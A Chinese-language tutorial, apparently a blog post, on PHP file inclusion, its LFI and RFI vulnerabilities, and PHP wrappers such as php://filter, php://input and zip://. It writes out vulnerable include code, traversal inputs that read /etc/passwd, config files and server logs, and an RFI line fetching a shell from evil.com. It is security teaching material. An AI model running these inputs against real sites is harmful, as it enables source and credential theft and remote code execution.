PHP 文件包含以及PHP伪协议

一、文件包含的作用

1. 代码复用和模块化

复制代码
// 传统方式:每个页面都要写相同代码
// page1.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...页面内容...
​
// page2.php  
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...另一个页面内容...
​
// 使用包含:提取公共部分
// header.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
​
// page1.php
include 'header.php';
// ...页面1特有内容...
​
// page2.php
include 'header.php';  
// ...页面2特有内容...

2. 配置文件管理

复制代码
// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
​
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

3. 动态内容加载

复制代码
// 根据用户选择加载不同模块
$page = $_GET['page'] ?? 'home';
​
switch($page) {
    case 'about':
        include 'pages/about.php';
        break;
    case 'contact':
        include 'pages/contact.php';
        break;
    default:
        include 'pages/home.php';
}

二、文件包含漏洞

漏洞产生原因

当包含的文件路径可以被用户控制时,就可能产生漏洞。

漏洞产生条件

复制代码
// 危险代码示例
$page = $_GET['page'];  // 用户可控输入
include($page . '.php'); // 直接包含用户输入

漏洞类型

1. 本地文件包含(LFI - Local File Inclusion)

攻击者读取服务器上的敏感文件:

复制代码
// 假设有这样的代码
include($_GET['file']);
​
// 攻击者可以:
// 查看系统文件
?file=../../../etc/passwd
​
// 查看网站源码
?file=../../config.php
​
// 查看日志文件(可能包含攻击代码)
?file=../../../var/log/apache2/access.log
2. 远程文件包含(RFI - Remote File Inclusion)

攻击者包含远程服务器上的恶意文件:

复制代码
// 需要 allow_url_include=On(默认关闭)
include($_GET['file']);
​
// 攻击者可以:
?file=http://evil.com/shell.txt
// 这样就会执行攻击者服务器上的PHP代码

PHP 伪协议使用总结

常用伪协议类型

  • file://

  • php://filter

  • php://input

  • zip://


一、file://协议

PHP配置要求

  • 允许状态 :在 allow_url_fopenallow_url_include 均为 OFF 时仍可正常使用

  • 作用:主要用于文件读取操作

示例
复制代码
file:///etc/passwd
file://C:/Windows/system.ini

二、php://协议

1. php://filter

配置要求
  • 允许状态:在双off的情况下也可以正常使用
参数说明

四个主要参数:

  1. resource - 指定要筛选过滤的数据流(必需)

  2. read - 读数据时的筛选过滤器

  3. write - 写数据时的筛选过滤器

  4. <, > - 数据流方向控制

使用示例

读取文件并base64编码

复制代码
php://filter/read=convert.base64-encode/resource=test.txt

写入时转换大小写

复制代码
php://filter/write=string.toupper/resource=666.txt

注:write参数需要配合 fopen($file, 'w') 写入模式使用

参数特性总结
  • read参数 :用于读取时处理 → 使用 file_get_contents() 测试

  • write参数 :用于写入时处理 → 需要 fopen($file, 'w') 模式测试


2. php://input

配置要求
  • allow_url_fopen:OFF/ON 均可

  • allow_url_include:必须为 ON

功能特性
  • 访问请求原始数据的只读流

  • 将POST请求中的数据作为PHP代码执行


三、压缩协议类

配置要求

  • 允许状态:在双off的情况下也可以正常使用

1. zip://协议

格式
复制代码
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
示例
复制代码
zip://test.zip#test.txt
zip://C:/test.zip#dir/test.txt

2. bzip2://协议

格式
复制代码
compress.bzip2://文件路径
示例
复制代码
# 读取压缩文件
compress.bzip2://test.bz2

# 绝对路径
compress.bzip2://D:/test.bz2

# 相对路径  
compress.bzip2://./test.bz2

3. zlib://协议

格式
复制代码
compress.zlib://文件路径
示例
复制代码
# 读取.gz文件
compress.zlib://test.gz

# 绝对路径
compress.zlib://D:/test.gz

# 网络文件解压读取
compress.zlib://http://example.com/data.gz

四、使用注意事项

  1. 路径格式:压缩协议中的文件路径需使用绝对路径

  2. 特殊字符# 在URL中需要编码为 %23

  3. 权限限制:各协议受不同PHP配置项影响

  4. 安全风险:这些协议常被用于文件包含漏洞利用,生产环境应严格限制使用

相关推荐
QuantumRedGuestk2 小时前
CS工具正反向渗透靶场实操解读【文图】
网络安全·内网渗透·cs·靶场渗透
Hacker_seagull7 小时前
青少年CTF练习平台~Upload3
网络安全
内心如初8 小时前
03_等保系列之1.0和2.0对比
网络安全·等保测评·等保测评从0-1·等保测评笔记
内心如初12 小时前
04_等保系列之云等保
网络安全·等保测评·等保测评从0-1·等保测评笔记
小小代码狗13 小时前
PHP伪协议和文件包含
网络·网络安全·php
吃不得辣条14 小时前
渗透学习小结
学习·网络安全
恃宠而骄的佩奇14 小时前
APP客户端安全评估思路及工具分享
测试工具·安全·网络安全·app客户端安全评估
夜未央3115 小时前
HTTPS 原理与 PHP 文件包含及伪协议详解
运维·服务器·安全·网络安全
云安全干货局15 小时前
深度解析:高防 IP 如何实现 “隐藏源站 IP”?核心技术原理拆解
网络·网络安全·高防ip